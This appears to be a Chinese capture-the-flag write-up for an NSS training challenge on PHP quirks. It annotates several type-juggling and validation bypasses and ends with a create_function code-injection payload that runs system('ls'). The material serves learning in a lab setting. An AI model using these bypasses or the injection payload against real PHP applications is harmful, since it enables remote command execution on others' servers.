[NSS内部训练赛 Week1]了解过PHP特性吗
[[NSS内部训练赛 Week1]了解过PHP特性吗
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php error_reporting(0); highlight_file(__FILE__); include("rce.php"); $checker_1 = FALSE; $checker_2 = FALSE; $checker_3 = FALSE; $checker_4 = FALSE; $num = $_GET['num']; if (preg_match("/[0-9]/", $num)) { die("no!!"); } if (intval($num)) { $checker_1 = TRUE; } //非空数组num[]=1会被preg_match判定为0,被intval判定为1 if (isset($_POST['ctype']) && isset($_POST['is_num'])) { $ctype = strrev($_POST['ctype']); $is_num = strrev($_POST['is_num']); if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) { $checker_2 = TRUE; } } //strrev()反转,ctype_alpha()全字母,is_numeric()全数字 $_114 = $_GET['114']; $_514 = $_POST['514']; if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) { if (!is_numeric($_514) && $_514 > 9999999) { $checker_3 = TRUE; } } //is_numeric()从左到右识别,截至无法识别,100000000a判定为100000000 $arr4y = $_POST['arr4y']; if (is_array($arr4y)) { for ($i = 0; $i < count($arr4y); $i++) { if ($arr4y[$i] === "NSS") { die("no!"); } $arr4y[$i] = intval($arr4y[$i]); } if (array_search("NSS", $arr4y) === 0) { $checker_4 = TRUE; } } //直接数组 if ($checker_1 && $checker_2 && $checker_3 && $checker_4) { echo $rce; }
|
得到Rc3_function.php
1 2 3 4 5 6 7 8
| <?php error_reporting(0); highlight_file(__FILE__); $nss=$_POST['nss']; $shell = $_POST['shell']; if(isset($shell)&& isset($nss)){ $nss_shell = create_function($shell,$nss); }
|
create_function()会创建一个匿名函数,格式如下所示:
function lambda_1($a,$b){
…….
}
shell=&nss=}system(‘ls’);//